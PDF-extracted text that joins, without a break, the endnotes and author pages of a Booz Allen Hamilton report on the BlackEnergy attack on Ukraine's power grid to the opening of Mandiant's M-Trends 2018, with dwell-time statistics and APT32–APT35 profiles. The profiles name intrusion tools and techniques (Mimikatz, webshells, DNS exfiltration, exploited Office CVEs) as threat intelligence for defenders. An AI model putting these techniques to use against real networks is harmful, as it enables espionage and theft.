Robert Lipovsky and Anton Cherepanov, BlackEnergy trojan strikes again: Attacks Ukrainian electric power industry, welivesecurity, January 4, 2016, accessed July 12, 2016, hxxp://www.welivesecurity.com/2016/01/04/ blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/.
131.
Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3  ALL ABOARD SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/.
132.
Ibid.
133.
Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.
134.
IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf.
69 135.
Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3  ALL ABOARD SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/.
136.
Ibid.
137.
IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf.
138.
Ibid.
139.
Ibid.
140.
Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.
141.
IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf.
142.
Ibid.
143.
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144.
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145.
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146.
Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.
147.
IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf.
148.
Ibid.
149.
Robert M Lee, Confirmation of a Coordinated Attack on the Ukrainian Power Grid, SANS, January 9, 2016 hxxps://ics.sans.
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150.
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151.
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152.
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153.
Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf.
70 Booz Allen Hamilton 154.
Rich Heidorn, How a Phantom Mouse and Weaponized Excel Files Brought Down Ukraines Grid, March 28, 2016, hxxp:// www.rtoinsider.com/nerc-phantom-mouse-cyberattack-24232/.
155.
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156.
IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf.
157.
Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.
158.
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159.
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160.
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161.
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162.
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163.
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164.
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165.
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166.
IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf.
167.
Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.
168.
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169.
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170.
Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/.
171.
Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf.
boozallen.com/ics         71 172.
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173.
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174.
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175.
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176.
IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf.
177.
Ibid.
178.
Black Energy, CERT-UA, September 11, 2015, accessed July 19, 2016, hxxp:// cert.gov.ua/?p2370.
179.
Ibid.
180.
052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4, Virus Total, July 6, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4/analysis/.
181.
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182.
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183.
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184.
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185.
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186.
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187.
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188.
Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf.
189.
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190.
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191.
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192.
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72 Booz Allen Hamilton 193.
Ibid.
194.
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195.
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196.
GReAT, BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/.
197.
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198.
Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf.
199.
Ibid.
200.
Ibid.
201.
Blackenergy  Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf.
202.
Ibid.
203.
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204.
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205.
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206.
Ibid.
207.
Ibid.
208.
Ibid.
209.
Ibid.
210.
Ibid.
211.
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212.
Ibid.
213.
Ibid.
214.
Ibid.
215.
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216.
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217.
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218.
Ibid.
boozallen.com/ics         73 219.
Ibid.
220.
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221.
Ibid.
222.
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223.
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224.
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225.
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226.
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227.
Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/.
228.
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229.
Ibid.
230.
Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf.
231.
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232.
Ibid.
233.
Ibid.
234.
Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/.
235.
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236.
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237.
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238.
Ibid.
239.
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240.
Ibid.
241.
Ibid.
74 Booz Allen Hamilton 242.
Ibid.
243.
Ibid.
244.
Ibid.
245.
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246.
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247.
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248.
Ibid.
249.
Ibid.
250.
Ibid.
251.
Ibid.
252.
Ibid.
253.
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254.
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255.
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256.
Ibid.
257.
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258.
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259.
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260.
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261.
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262.
Ibid.
263.
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264.
Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/.
265.
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266.
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boozallen.com/ics         75 267.
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268.
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269.
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270.
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271.
Ibid.
272.
Ibid.
273.
Ibid.
274.
Ibid.
275.
Ibid.
276.
Ibid.
277.
f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/.
278.
Ibid.
279.
Ibid.
280.
Ibid.
281.
Ibid.
282.
Ibid.
283.
Ibid.
284.
c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d/analysis/.
285.
Ibid.
286.
Ibid.
287.
Ibid.
288.
Ibid.
289.
Ibid.
290.
Ibid.
291.
Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf.
76 Booz Allen Hamilton 292.
5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6, Virus Total, July 15, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6/analysis/.
293.
Ibid.
294.
Ibid.
295.
Ibid.
296.
Ibid.
297.
Ibid.
298.
11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80/analysis/.
299.
Ibid.
300.
Ibid.
301.
Ibid.
302.
Ibid.
303.
Ibid.
304.
Ibid.
305.
Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf.
306.
Blackenergy  Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf.
307.
Ibid.
308.
Raj Samani and Christiaan Beek, Updated BlackEnergy Trojan Grows More Powerful,McAfee Labs, January 14, 2016, accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/.
309.
Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland.
310.
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311.
Ibid.
312.
Ibid.
313.
Ibid.
314.
Raj Samani and Christiaan Beek, Updated BlackEnergy Trojan Grows More Powerful,McAfee Labs, January 14, 2016, accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/.
315.
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boozallen.com/ics         77 316.
Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland.
317.
Ibid.
318.
Raj Samani and Christiaan Beek, Updated BlackEnergy Trojan Grows More Powerful,McAfee Labs, January 14, 2016, accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/.
319.
IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf.
320.
Paul Ducklin, Ukraine power outages blamed on hackers and malware  the lessons to learn, nakedse- curity by Sophos, January 6, 2016, accessed July 12, 2016, hxxps://nakedsecurity.sophos.com/2016/01/06/ ukraine-power-outages-blamed-on-hackers-and-malware/.
321.
Eduard Kovacs, BlackEnergy Malware Used in Ukraine Power Grid Attacks, SecurityWeek, January 4, 2016, accessed July 12, 2016, hxxp://www.securityweek.com/blackenergy-group-uses-destructive-plugin-ukraine-attacks.
322.
Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf.
323.
Matt Johnston, Dropbear SSH, University of Western Australia University Computer Club, accessed July 12, 2016, hxxps:// matt.ucc.asn.au/dropbear/dropbear.html.
324.
Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf.
325.
Ibid.
326.
Ibid.
327.
BlackEnergy and the Ukraine: Signals vs.
Noise, Cylance, January 12, 2016, accessed July 12, 2016, hxxps://blog.cylance.com/ blackenergy-and-the-ukraine-signals-vs.-noise.
78 Booz Allen Hamilton JAKE STYCZYNSKI Jake Styczynski is an associate at Booz Allen Hamilton specializing in cyber threat research.
He has conducted cyber threat landscape and organizational risk assessments for commercial and government clients.
Jake has led project teams in open-source research efforts evaluating threats to space-based systems, maritime navigation and communication systems, and industrial control systems.
Jake earned an M.I.A.
in international security policy from Columbia University and a B.A.
in political science from University of Massachusetts at Amherst.
NATE BEACH-WESTMORELAND Nate Beach-Westmoreland (NateBeachW) is a lead associate at Booz Allen Hamilton with nearly a decade of experience in cyber intelligence, open-source research, and geopolitical analysis.
Nate leads a team of multidisciplinary analysts in producing strategic cyber threat intelligence for commercial and government clients.
He has helped mature or establish several Booz Allen open-source intelligence teams, including the firms first commercial cyber threat intelligence offering in 2011.
He earned an M.A.
in international relations from Yale University and a B.A.
in history from Cornell University.
SCOTT STABLES Scott Stables is a chief technologist in Booz Allens Strategic Innovation Group leading the firms Next-Generation Industrial Security initiative.
In this role, he manages a team of engineers and developers working together develop solutions that address the cybersecurity challenges associated with industrial systems and industrial IoT security.
Scott has almost 20 years of technology experience, primarily in the systems integration, communications, and cybersecurity areas, and has worked for a range of commercial customers across the globe focused on a range of diverse initiatives.
Scott has an M.S.
in information systems from Robert Gordon University, and a LL.B (Hons) in business law from London Guildhall University.
A U T H O R S About Booz Allen Booz Allen Hamilton has been at the forefront of strategy and technology for more than 100 years.
Today, the firm provides management and technology consulting and engineering services to leading Fortune 500 corporations, govern- ments, and not-for-profits across the globe.
Booz Allen partners with public and private sector clients to solve their most difficult challenges through a combination of consulting, analytics, mission operations, technology, systems delivery, cybersecurity, engineering, and innovation expertise.
With international headquarters in McLean, Virginia, the firm employs more than 22,600 people globally and had revenue of 5.41 billion for the 12 months ended March 31, 2016.
To learn more, visit  BoozAllen.com.
(
NYSE: BAH) BOOZ ALLEN.COM 2016 Booz Allen Hamilton Inc.    vcs.c.07.047.16 For More Information BRAD MEDAIRY Senior Vice President medairy_bradbah.com 1-703-902-5948 SCOTT STABLES Chief Cyber Technologist stables_scottbah.com 1-630-776-7701 MATT THURSTON Lead Associate thurston_matthewbah.com 1-703-216-5259 boozallen.com/ics Authors JAKE STYCZYNSKI Lead Author NATE BEACH-WESTMORELAND Author SCOTT STABLES Author mailto:medairy_brad40bah.com20?subject mailto:stables_scottbah.com mailto:messer_angelabah.com
M-TRENDS2018 2 SPECIAL REPORT  M-TRENDS 2018 3SPECIAL REPORT  M-TRENDS 20182 SPECIAL REPORT  M-TRENDS 2018 Introduction 3 2017 By The Numbers 4 Newly Named APT Groups   10 Iran State-Sponsored Espionage 18 Hidden Threats Remain in Legacy Systems 22 Once a Target, Always a Target 24 Red Teaming for Security Effectiveness 26 Cyber Security Skills Gap  The Invisible Risk 38 Enduring Trends in Security Fundamentals   42 Predictions for 2018 48 Conclusion 50 TABLE OF CONTENTS 2 SPECIAL REPORT  M-TRENDS 2018 3SPECIAL REPORT  M-TRENDS 2018 3SPECIAL REPORT  M-TRENDS 2018 Introduction 3 2017 By The Numbers 4 Newly Named APT Groups   10 Iran State-Sponsored Espionage 18 Hidden Threats Remain in Legacy Systems 22 Once a Target, Always a Target 24 Red Teaming for Security Effectiveness 26 Cyber Security Skills Gap  The Invisible Risk 38 Enduring Trends in Security Fundamentals   42 Predictions for 2018 48 Conclusion 50 INTRODUCTION In this M-Trends 2018 report, we look at some of the latest trends identified during the October 1, 2016 to September 30, 2017 reporting period, as revealed through incident response investigations by Mandiant, a FireEye company.
When it comes to detecting compromises, organizations appear to be getting better at discovering breaches internally, as opposed to being notified by law enforcement or some other outside source.
This is important because our data shows that incidents identified internally tend to have a much shorter dwell time.
However, the global median dwell time from compromise to discovery is up from 99 days in 2016 to 101 days in 2017.
In this years report, we explore some longer-term trends, many of which have evolved.
We look at organizations that have been targeted or re-compromised after remediating a previous attack, a topic we first discussed in M-Trends 2013.
We also examine the widening cyber security skills gap and the rising demand for skilled personnel capable of meeting the challenges posed by todays more sophisticated threat actors.
We take a detailed look at a Mandiant Red Team Assessment to explore how we leverage sophisticated attacker tactics, techniques and procedures (TTPs) in simulated attacks to show organizations what they need to do to stay ahead of those threats.
We also provide examples of where we saw attackers exploit weaknesses in an organizations detection and prevention controls.
M-Trends 2018 can arm security teams with the knowledge they need to defend against todays most often used cyber attacks, as well as lesser seen and emerging threats.
The information in this report has been sanitized to protect identities of victims and their data.
4 SPECIAL REPORT  M-TRENDS 2018 5SPECIAL REPORT  M-TRENDS 2018 2017 BY THE NUMBERS Dwell time is the number of days from first evidence of compromise that an attacker is present on a victim network before detection.
A median represents a value at the midpoint of a sorted data set.
Mandiant continues to use the median value over mean or average to minimize the impact of outlying values.
The statistics reported in M-Trends are based on Mandiant investigations into targeted attack activity conducted between October 1, 2016 and September 30, 2017.
Global The global median dwell time of 101 days is essentially unchanged from last years report of 99 days.
Organizations across the globe are identifying attacker activity on their own more often than they are being notified by an external source, with 62 of breaches detected internally.
Mandiants position in the market would tend to skew our statistics toward organizations who were notified of an incident by a third party, since presumably an organization is less likely to be confident they can investigate an incident they failed to identify on their own.
The fact that more clients self-identify the incidents we investigate for them is a potential indication that detection capabilities have improved for all organizations and not just Mandiant clients.
GLOBAL MEDIAN DWELL TIME 99 Days 101 Days 2017 2016 4 SPECIAL REPORT  M-TRENDS 2018 5SPECIAL REPORT  M-TRENDS 2018 5SPECIAL REPORT  M-TRENDS 2018 Americas The Americas median dwell time decreased slightly from 99 days in 2016 to 75.5 days in 2017.
Europe, the Middle East and Africa (EMEA) The median dwell time for EMEA in 2017 was 175 days, up from 106 days in 2016.
We attribute this to increased notification programs by national law enforcement.
These have uncovered attacks dating back a significant period of time, many of which involved active attackers in the target environment at the time of notification.
75.5 Days 99 Days AMERICAS MEDIAN DWELL TIME 2016 2017 APAC MEDIAN DWELL TIME 498 Days 172 Days 2016 2017 175 Days 106 Days 2017 2016 EMEA MEDIAN DWELL TIME Asia-Pacific (APAC) The median dwell time for APAC increased in 2017 to 498 days, from 172 days in 2016.
This dwell time is similar to the APAC dwell time of 520 days reported in M-Trends 2016.
It is also similar to the first dwell time statistic ever reported by Mandiant, which was a global dwell time of 417 days.
With a maximum observed dwell time of 2,085 days, attackers in APAC are often able to maintain access in compromised organizations for far too long.
6 SPECIAL REPORT  M-TRENDS 2018 7SPECIAL REPORT  M-TRENDS 2018 Industry Americas APAC EMEA Global Business and Professional Services 18 10 12 16 Energy 5 2 7 5 Entertainment and Media 11 7 5 10 Financial 17 39 24 20 Government 6 7 18 8 Healthcare 12 2 2 9 High Tech 9 10 7 8 Retail and Hospitality 10 2 4 8 Other 12 20 22 15 Organizations Investigated By Mandiant in 2017, By Industry 20 9 10 8 9 15 5 Business and Professional Services 16 Energy Other 20 8 Entertainment and Media Financial Government Retail and Hospitality Healthcare High Tech Industries Investigated 6 SPECIAL REPORT  M-TRENDS 2018 7SPECIAL REPORT  M-TRENDS 2018 400 350 300 250 200 150 100 50 0 Median Dwell Time,  By Year 2011 2012 2013 2014 2015 2016 2017 D ay s Year Median Dwell Time, By Region 1100 1000 900 800 700 600 500 400 300 200 100 0 D ay s GLOBAL EMEAAMERICAS APAC Internal Discovery External Notification KEY 186 57.5 101 124.5 42.5 75.5 305 24.5 175 All Notification 1088 320.5 498 416 243 229 205 146 99 101 8 SPECIAL REPORT  M-TRENDS 2018 9SPECIAL REPORT  M-TRENDS 2018 Organizations detected a compromise themselves in 62 of the cases that Mandiant worked in 2017.
Organizations in the United States fared the best with 64 of cases detected by the organization.
While this is trending in the right direction, it still shows that too many organizations are not aware that they have been compromised without external assistance.
GLOBAL 38 62 Notification By Source 36 64 AMERICAS Notification By Source 44 56 EMEA Notification By Source 43 57 APAC Notification By Source Internal External KEY 8 SPECIAL REPORT  M-TRENDS 2018 9SPECIAL REPORT  M-TRENDS 2018 The global median dwell time is 101 days.
However, actual global dwell times vary significantly, ranging from less than one week to over 2,000 days.
101 DAYS Global Dwell Time Distribution 7 or fewer 8-14 15-30 31-45 46-60 61-75 76-90 91-150 151-200 201-300 301-400 401-500 501-600 601-700 701-800 801-900 1000-2000 2000 Percentage of investigations 13 8 7 5 4 3 1 3 3 1 11 4 12 1 9 3 3 11 D ay s 10 SPECIAL REPORT  M-TRENDS 2018 11SPECIAL REPORT  M-TRENDS 2018 FireEye tracks more than a thousand uncategorized attackers and only promotes a TEMP group to a named APT group when we have confidence surrounding their specific: NEWLY NAMED APT GROUPS FireEye tracks thousands of threat actors, but pays special attention to state-sponsored attackers who carry out advanced persistent threat (APT) attacks.
Unlike many cyber criminals, APT attackers often pursue their objectives over months or years.
They adapt to a victim organizations attempts to remove them from the network and frequently target the same victim if their access is lost.
In 2017, FireEye promoted four attackers from previously tracked TEMP groups to APT groups.
Sponsoring nation Tactics, techniques, and procedures (TTPs) Target profile Attack motivations 10 SPECIAL REPORT  M-TRENDS 2018 11SPECIAL REPORT  M-TRENDS 2018 APT32 Since at least 2014, APT32, also known as the OceanLotus Group, has targeted foreign corporations with investments in Vietnam, foreign governments, journalists, and Vietnamese dissidents.
Evidence also suggests that APT32 has targeted network security and technology infrastructure corporations with connections to foreign investors.
During a recent campaign, APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros.
Upon execution, the initialized file typically downloaded malicious payloads from a remote server.
FireEye asesses that APT32 actors may be aligned with the national interests of Vietnam.
We believe recent activity targeting private interests in Vietnam suggests that APT32 poses a threat to companies doing business or preparing to invest in the country.
While the specific motivation for this activity remains opaque, it could ultimately erode targeted organizations competitive advantage.
March 20, 2017 12 SPECIAL REPORT  M-TRENDS 2018 13SPECIAL REPORT  M-TRENDS 2018 APT33 SPECIAL REPORT  M-TRENDS 2018 Since at least 2013, the Iranian threat group FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense, aerospace and petrochemical organizations.
Additionally, there is evidence to suggest APT33 targeted Saudi Arabian and Western organizations that provide training, maintenance and support for Saudi Arabias military and commercial fleets.
August 21, 2017 12 12 SPECIAL REPORT  M-TRENDS 2018 13SPECIAL REPORT  M-TRENDS 2018 APT33 leverages a mix of public and non-public tools (Fig.
1) and often conducts spear-phishing operations using a built-in phishing module from ALFA TEaM Shell, a publicly available web shell.
The use of multiple non- public backdoors suggests the group is supported by software developers.
DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor.
Although we have only observed APT33 use DROPSHOT to deliver TURNEDUP, we have identified multiple DROPSHOT samples in the wild that delivered wiper malware we call SHAPESHIFT.1 The SHAPESHIFT wiper is capable of wiping disks and volumes, as well as deleting files.
Ties to SHAPESHIFT suggest that APT33 may engage in destructive operations or shares tools or development resources with an Iranian threat group that conducts destructive operations.
Both DROPSHOT and SHAPESHIFT contain Farsi- language artifacts, which indicates that they may have been developed by a Farsi language speaker.
FireEye has not identified APT33 using SHAPESHIFT, but APT33 is the only group FireEye has seen to use DROPSHOT.
The overlap between SHAPESHIFT and DROPSHOT indicates that tools    specifically DROPSHOT    or development resources may be shared among Iranian threat groups, or that APT33 may engage in destructive operations.
In a recent attack, APT33 sent spear-phishing emails to workers in the aviation industry.
These emails included recruitment-themed lures and links to malicious HTML application (HTA) files.
The HTA files contained job descriptions and links to job postings on popular employment websites.
The file would appear to be a legitimate job posting, but the HTA file also contained malicious content that downloaded a custom APT33 backdoor from an attacker-controlled domain.
1  FireEye has not found any code overlap between SHAPESHIFT and the suspected Iranian wiper SHAMOON.
Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Move LaterallyMaintain Presence Spear-phishing  TWINSERVE TURNEDUP Mimikatz and ProcDump GREATFALL ADExplorer utility PowerView component of the PowerSploit framework Native OS commands WinRAR FastUploader V.1 Staged data in hidden Recycle.
Bin directories NANOCORE NETWIRE TWINSERVE TURNEDUP DROPBACK VPN Access PsExec WMI VB Scripts Figure 1.
APT33 TTPs in relation to the attack life cycle.
14 SPECIAL REPORT  M-TRENDS 2018 15SPECIAL REPORT  M-TRENDS 2018 APT34 14 SPECIAL REPORT  M-TRENDS 2018 Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Move LaterallyMaintain Presence Spear-phishing Leverage social media to share links to malicious files Accessed unauthenticated MySQL database administration web application Brute force attack against OWA to access Exchange Control Panel Webshells RDP VPN Access SSH tunnels to CS servers Created shortcuts in startup folder Plink POWRUNER PsExec WMI RDP PowerShell scripts Wscript Plink ELVENDOOR POWBAT HELMINTH ISMAGENT Webshells including SEASHARPEE Mimikatz Key logger KEYPUNCH Lazagne Brute force password attacks Modified Outlook Web App logon pages on Exchange Servers SoftPerfect Network Scanner PowerShell scripts Native OS commands GOLDIRONY CANDYKING PowerShell scripts used for data exfiltration via DNS Exfiltration via RDP Compress data into RAR files, stage them to an internet accessible server, then download the files Exported email boxes (PST files) November 14, 2017 14 SPECIAL REPORT  M-TRENDS 2018 15SPECIAL REPORT  M-TRENDS 2018 Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran.
The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries.
Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34.
The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.
APT34 uses a mix of public and non-public tools (Fig.
2) and often uses compromised accounts to conduct spear-phishing operations.
In July 2017, FireEye observed APT34 targeting an organization in the Middle East using the POWRUNER PowerShell-based backdoor and the downloader BONDUPDATER, which includes a domain generation algorithm (DGA) for command and control.
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199.
In November 2017, APT34 leveraged the Microsoft Office vulnerability CVE-2017- 11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch.
Figure 2.
APT34 TTPs in relation to the attack life cycle.
Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Move LaterallyMaintain Presence Spear-phishing Leverage social media to share links to malicious files Accessed unauthenticated MySQL database administration web application Brute force attack against OWA to access Exchange Control Panel Webshells RDP VPN Access SSH tunnels to CS servers Created shortcuts in startup folder Plink POWRUNER PsExec WMI RDP PowerShell scripts Wscript Plink ELVENDOOR POWBAT HELMINTH ISMAGENT Webshells including SEASHARPEE Mimikatz Key logger KEYPUNCH Lazagne Brute force password attacks Modified Outlook Web App logon pages on Exchange Servers SoftPerfect Network Scanner PowerShell scripts Native OS commands GOLDIRONY CANDYKING PowerShell scripts used for data exfiltration via DNS Exfiltration via RDP Compress data into RAR files, stage them to an internet accessible server, then download the files Exported email boxes (PST files) 16 SPECIAL REPORT  M-TRENDS 2018 17SPECIAL REPORT  M-TRENDS 2018 APT35 FireEye has identified APT35 operations dating back to 2014.
APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence.
APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.
December 15, 2017 16 SPECIAL REPORT  M-TRENDS 2018 17SPECIAL REPORT  M-TRENDS 2018 APT35 has historically used unsophisticated tools like those listed below in Figure 3.
Their complex social engineering campaigns, however, employ fake social media personas with convincing backgrounds that include supporting details and links to real persons and organizations.
Many of the fake personas utilized by APT35 claimed to be part of news organizations, which led to APT35 being referred to as the Newscaster Team.
The effort required to establish these networks and online front organizations suggests the group is well resourced.
More recent operations suggest that APT35 has expanded both the scope of its targeting and its employed toolset.
From August 2016 to August 2017, APT35 engaged in multiple operations against a broad range of victims, including those in the following sectors: Telecommunications Business services Energy Construction and engineering Government Defense Media Figure 3.
APT35 TTPs in relation to the attack life cycle.
